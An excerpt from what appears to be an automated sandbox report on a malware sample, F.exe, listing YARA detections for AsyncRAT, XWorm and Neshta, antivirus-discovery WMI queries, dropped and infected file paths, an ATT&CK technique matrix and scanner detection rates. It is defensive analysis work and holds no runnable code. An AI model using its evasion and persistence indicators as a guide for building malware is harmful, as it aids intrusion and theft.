Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\._cache_F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Source: ._cache_F.exe, 00000003.00000002.3293239774.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, ._cache_F.exe, 00000003.00000002.3306082752.000000001B7D1000.00000004.00000020.00020000.00000000.sdmp, ._cache_F.exe, 00000003.00000002.3306082752.000000001B823000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: ._cache_F.exe, 00000003.00000002.3306082752.000000001B7D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2697226300.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_F.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_F.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	111 Input Capture	1 Peripheral Device Discovery	1 Taint Shared Content	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Windows Service	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	111 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 Scheduled Task/Job	1 Windows Service	11 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	121 Registry Run Keys / Startup Folder	11 Process Injection	2 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	541 Security Software Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	331 Masquerading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
F.exe	100%	ReversingLabs	Win32.Virus.Neshuta
F.exe	90%	Virustotal		Browse
F.exe	100%	Avira	W32/Delf.I
F.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Uninstall.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	100%	Avira	W32/Delf.I
